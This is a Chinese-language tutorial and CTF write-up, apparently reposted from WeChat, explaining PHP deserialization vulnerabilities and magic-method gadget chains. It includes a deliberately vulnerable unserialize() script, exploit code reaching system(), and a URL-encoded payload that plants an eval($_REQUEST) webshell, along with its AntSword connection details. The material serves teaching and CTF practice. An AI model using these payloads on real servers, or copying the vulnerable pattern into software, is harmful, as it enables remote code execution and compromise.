PHP反序列化漏洞浅入浅出
2021-8-6 17:29:15 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

序列化与反序列化

序列化就是将对象的状态信息转换为可存储或传输的形式的过程;反序列化将可存储或传输的形式的过程恢复为对象的过程。面向对象的语言都存在序列化和反序列化操作,如C#、python、java、php、JavaScript等。
为什么需要反序列化呢?一是方便传输,服务端把数据序列化,发送到客户端,客户端把接收到的数据反序列化后对数据进行操作,完成后再序列化发送到服务端,服务端再反序列化数据后对数据进行操作;二是方便存储,将内存中的对象状态保存至文件或数据库中,供之后使用。
序列化与反序列化机制本身并无问题,但应用程序对于用户输入数据(不 可信数据)进行了反序列化处理,使反序列化生成了非预期的对象,在对象的产生过程中可能产生攻击行为。

PHP序列化

PHP序列化后得到的字符串存储的信息仅包含对象的属性,并不包含类中的函数(方法)。
  • 代码

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.");    }}
$stu1=new Student('Alice',1);$stu2=new Student('Bob',2);$stu1->hello();$stu2->hello();echo(serialize($stu1));echo(serialize($stu2));
  • 执行结果

kali@kali:/tmp$ php student.php Hello,I'm Alice.Hello,I'm Bob.O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}O:7:"Student":3:{s:4:"name";s:3:"Bob";s:5:"stuid";i:2;s:3:"age";N;}
 从执行结果可以看出O:7:"Student"中O代表object,7是对象名称长度,"Student"是O对应的值。php序列化后的格式为”类型:长度:值“,后面再将O:7:"Student"看作一个整体作为Student类的对象类型,后面的3为长度,最后的花括号中存在3对属性。
由于PHP序列化后得到的字符串存储的信息仅包含对象的属性,所以可以去除函数进行序列化。特定环境下去除函数后才能得到你想要的。
  • 代码

<?phpclass Student{    public $name;    public $stuid;    public $age;}
$stu1=new Student();$stu1->name='Alice';$stu1->stuid=1;$stu2=new Student();$stu2->name='Bob';$stu2->stuid=2;echo(serialize($stu1));echo("\n");echo(serialize($stu2));echo("\n");
  • 执行结果

kali@kali:/tmp$ php student_nofunc.php O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}O:7:"Student":3:{s:4:"name";s:3:"Bob";s:5:"stuid";i:2;s:3:"age";N;}
可见,只要class名称、属性及属性值相同,序列化结果相同,与成员函数无任何关系。
                       

PHP反序列化

PHP反序列化是序列化的逆过程,将序列化后的字符串还原成PHP对象。
  • 代码

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.\n");    }
}
$stu=unserialize('O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}');$stu->hello();echo $stu->name;echo "\n";
  • 执行结果

kali@kali:/tmp$ php student_sleep.phpHello,I'm Alice.Alice
可见代码中$stu对象由反序列化得到,反序列化的本质就是为对象属性赋值。

PHP反序列化漏洞

反序列化时,我们只能控制对象的的属性值,不能直接控制其执行某个特定的函数或语句,无法直接造成危害。PHP存在一些魔术函数,特定条件下被动触发执行。我们可以构造属性值为特定对象,创造环境使其触发执行一些包含危险操作的魔术函数执行。魔术函数以双下划线开头。
PHP中常见的魔术函数和触发条件如下:
魔术函数
触发条件
__construct()使用new关键字创建对象时
__destruct()对象被销毁时包括但不限于程序正常结束
__call()
调用对象的一个不可访问方法时
__callStatic()
使用类名调用一个不可访问的静态方法时
__get()
读取不可访问属性的值时
__set()
给不可访问属性赋值时
__isset()
当对不可访问属性调用 isset() 或 empty() 时
__unset()
当对不可访问属性调用 unset() 时
__sleep()要序列化还未序列化时
__wakeup()反序列化完成后自动调用
__serialize()要序列化还未序列化时调用,与__sleep()同时存在时__sleep()会被忽略不调用
__unserialize()反序列化完成后自动调用,与__wakeup()同时存在时__wakeup()会被忽略不调用
__toString()对象被当作字符串时,如字符串拼接、被echo等
__invoke()对象被当作函数调用时
  • 代码

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.\n");    }    function __get($value){        echo "$value get error.\n";        return("unknow $value.\n");    }}
$stu=new Student('Alice',1);echo $stu->sex;
  • 执行结果

kali@kali:/tmp$ php magic.php sex get error.unknow sex.
__get函数在尝试访问$stu->sex触发执行。看如下示例,进行简单的反序列化利用。
  • 代码

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.\n");    }    function __get($value){        echo "$value get error\n";        return("unknow $value.\n");    }    function __toString(){        system($this->command);        return("\nok\n");    }}
$stu=unserialize($_REQUEST('un'));$stu->hello();
  • 分析

由于unserialize函数从请求中获取un参数,用户可控制用于反序列化的字符串。重心放在寻找可利用的魔术函数上。我们很容易注意到类中的__toString函数执行了危险操作,需要使其触发,就必须要有地方将该对象当作字符串使用。反序列化后只调用了hello(),hello中将自身的name属性进行字符串拼接,如果该name属性的值是Student对象,那将触发该对象的___toString函数执行。所以我们创建一个Student对象$stu1,使其属性$command为我们想执行的命令,$stu1对象被当作字符串使用时将执行$command。然后创建一个Student对象$stu2,使其name属性为$stu1,在执行$stu2的hello函数时就会将$stu1当作字符串进行拼接触发$stu1的__toString函数。exp代码如下:
  • exp

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.\n");    }    function __get($value){        echo "$value get error\n";        return("unknow $value.\n");    }    function __toString(){        system($this->command);        return("\nok\n");    }}
$stu1=new Student('Alice',1);$stu1->command='ifconfig';$stu2=new Student($stu1,2);echo serialize($stu2);
  • 执行结果

kali@kali:/tmp$ php unser_exp.phpO:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}

构造url:

http://127.0.0.1/unser_vul.php?un=O:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}
  • 访问结果:

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 192.168.138.1  netmask 255.255.255.0  broadcast 192.168.138.255        inet6 fe80::c49:bff:2a44:7c3  prefixlen 64  scopeid 0xfd<compat,link,site,host>        ether 00:50:56:c0:00:01  (Ethernet)        RX packets 0  bytes 0 (0.0 B)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 0  bytes 0 (0.0 B)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 1500 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0xfe<compat,link,site,host> loop (Local Loopback) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
Hello,I'mok.

实例

该题为2020年云南省网络安全大赛中一个web环境,里面存在多个漏洞。该反序列化后门仅为其中之一。本文仅对该后门进行分析。
后门地址:/content/backup/nbc.php
<?phperror_reporting(0);
class Demo1{ private $a; function test(){ echo $this->a; }}
class Demo2{ private $cmd; function a(){ eval($this->cmd); }
function __toString(){ $this->a(); return 'ok'; }}
$d = unserialize($_GET['s']);$d->test();
  • 分析

$d->test()说明$d可能是Demo1的实例,执行Demo1中的test()时echo自己的$a的值,若$a不为字符串,将触发调用$a->__toString(),若$a为Demo2的实例,$a->__toString()调用$a->a(),执行eval($a->cmd);。   
构造对象使得$s为Demo1的实例,$s的a属性为Demo2的实例 $t,并使$t的属性cmd为自定义的php代码,如一句话木马eval($_REQUEST[inbug]);。 
由于Demo1的a属性和Demo2的cmd属性均为私有(private)属性,生成payload时添加函数来给私有属性赋值。此处添加构造函数(__construct),也可定义其他函数或者在class中赋值。
:私有属性序列化后会产生空字节(%00),所以根据需要选择不同编码方式,不编码会导致空字节丢失,进制利用失败。
  • 编写利用代码 exp.php

<?phpclass Demo1{  private $a;  function __construct($arg){    $this->a=$arg;  }  function test(){    echo $this->a;  }}
class Demo2{ private $cmd; function __construct($arg){ $this->cmd=$arg; } function a(){ eval($this->cmd); }
function __toString(){ $this->a(); return 'ok'; }}
$t=new Demo2('eval($_REQUEST[inbug]);');$s=new Demo1($t);$d = serialize($s);echo(urlencode($d));
  • 执行结果

root@kali# php exp.phpO%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D
  • 蚁剑连接

链接:/content/backup/nbc.php?s=O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D连接密码:inbug

总结

PHP反序列化利用需要两个条件,一是用于反序列化的字符串用户可控,二是服务端环境中有可利用的class和魔术函数。


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&mid=2247483958&idx=1&sn=80351dad7888c08ae96ad593c8f4c1e8&chksm=ce491c8df93e959bb2f06875b0fa31ea7add582f171c2a3a463c9ef7d5a5a529a5ebf048e0d2&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh